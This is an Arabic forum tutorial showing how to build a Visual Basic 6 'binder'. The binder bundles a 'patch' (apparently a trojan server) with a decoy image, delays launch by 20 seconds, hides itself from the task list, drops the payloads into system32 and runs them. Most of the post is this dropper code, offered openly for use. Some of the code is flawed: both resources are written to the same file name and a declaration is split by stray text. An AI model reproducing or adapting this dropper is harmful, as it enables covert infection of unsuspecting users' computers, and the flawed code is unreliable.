[private] ~ طريقة فيجولية جهنمية للدمج . .!!

أسعد الله لقائنا بالمسرات . .
نعود لكم بما هو جديد وحصري ومن أفكار خاصة نسأل الله التوفيق لنا ولكم في كامل الأعمال
الخالصة له سبحانة .
اليوم لدي موضوع لا اعتقد انه طرح من قبل أي شخص اخر فرجاء يا اخوان واحترمو تعب الأخرين وليس فقط انا
اذكرو الحقوق وألاسطوانة لـ :



#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#
مستلزمات الشرح : -
1/ Microsoft Visual Basic 6.0
2/ التفكير والتدقيق ولا أنصح بالتطبيق الأعمى
3/ باتشك + ماتريد دمجة
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#

أولا : إفتح الـ Visual Basic في Project جديد
قم بعمل التغيرات المتناسبة معك وسوف تفهم ما ذا أقصد في نهاية الشرح

ثم من الشريط أعلى إختار

ثم
Add-In Manager
ثم اختر كما هو موضح من القائمة التالية مع تحديد الخيارين









ملاحظة : :
من هنا إذا خبصتها باقي شغلك مخبوص فدقق جيدا اسم باتشي كمثال كان server.exe
والرقم الخاص به 101 وهكذا الصورة lxh.jpg ورقمها 102
طبعا الارقام على النحو التالي
101 , 102 ,103 ,104 ,105 ......الخ
طيب بيجي واحد بيسأل من الحين ليه أحفظها بقله لاتستعجل بتعرف كيف نربطها بعدين بالكود ونحتاج
لاسمها والرقم

الحين سوي لك ملف جديد وأحفظ الـ Project في ملف جديد
روح وفكه من جديد
بتلقى انضاف لك هذه الخاصية من هنا


إلى هنا أنت أكملت الجزء الأول من الشرح . . .
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#
تعالو نشوف مع بعض الأكواد المستخدمة في الشرح
-#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#-

أول كود في الـتصريحات العامة ( الجنرال )
كود: Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As كود:
String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
-#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#-
وظيفة الكود
تشغيل الملفات بمعنى اخر يعرفها للاكواد الجاية#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#

الكود التالي وظيفته تأجل تنفيذ الكود لوقت محدد .. .
الفكرة من هذا الكود نخلي الباتش يشتغل كأنه قنبلة مؤقتة J وبتعرفون ليه نحدد الكود هذا عشان نحدد الوقت في الكود الجاي
تابعو وبإذن الله يسهل كل شئ في نهاية الموضوع -#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#-
كود: Public Sub Delay(HowLong As Date)

TempTime = DateAdd("s", HowLong, Now)

While TempTime > Now

DoEvents

Wend

End Sub #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#

الكود التالي ..
في Private Sub Form_Load()
وظيفة الأمر هذا تأخير تشغيل الفورم لمدة إنت تحددها مثل التالي / -#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#-
كود: Private Sub Form_Load()

Delay 20

App.TaskVisible = False

Call ttt

End Sub -#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#-في هذا الكود السابق حدننا الوقت 20 ثانية ييعني الفورم ينفك بعد تشغيل البرنامج بـ 20 ثانية *_^ ( Delay 20 ) تحتها كود إخفاء البرنامج من التطبيقات . . [App.TaskVisible = False ] – لمن يوصل لـ Call ttt ينتقل للكود التالي . . Private Sub ttt()تعالو مع بعض نشوف الكود الثاني #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#أخر كود نفصلة ألحين لكم ..
أول سطرين وظيفتها
الاول عشان الاخطاء والثاني تعريف للتالي . . .
السطر هذا [sEnv = "c:\windows\system32\program.exe" ]تحدد فيه إسم البرنامج + الإمتداد مو شرط إمتداد برنامج تنفيذي يمديك تدمج صورة أو أي شئ ثاني
والمسار أناا حاط مسار system32 براحتك غيره لأي مسار تبيه . .
*****
تذكرو يوم قلت لكم لاتنسو رقم البرنامج الي مثل كذا 010 و 102 هنا نشوف الكود هذا
ByteArray = LoadResData(101, "CUSTOM")طبعا لازم يكون إسم البرنامج نفس رقمه والباقي يفتحه وبقية الكود النقطة الثانية نفس الأولى -#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#--#-#-
كود: Private Sub ttt()

On Error Resume Next

Dim ByteArray() As Byte, sEnv

sEnv = "c:\windows\system32\Server.exe"

ByteArray = LoadResData(101, "CUSTOM")

Kill (sEnv)

Open sEnv For Binary Access Write As #1

Put #1, , ByteArray()

Close #1

Call ShellExecute(hwnd, "Open", sEnv, "", App.Path, 1)

sEnv = "c:\windows\system32\Server.exe"

ByteArray = LoadResData(102, "CUSTOM")

Kill (sEnv)

Open sEnv For Binary Access Write As #1

Put #1, , ByteArray()

Close #1

Call ShellExecute(hwnd, "Open", sEnv, "", App.Path, 1)

End Sub #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#في الختام نحصل على برنامج دمج بخاصية توقيت تشغيل الباتش في مدة إنت تحددها
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=#
إلى هنا إنتهيت من الشرح أوتمنى إني وضحت ومافي شئ باقي غير إلي يفتح مخه بيطلع شئ *_^ عجيب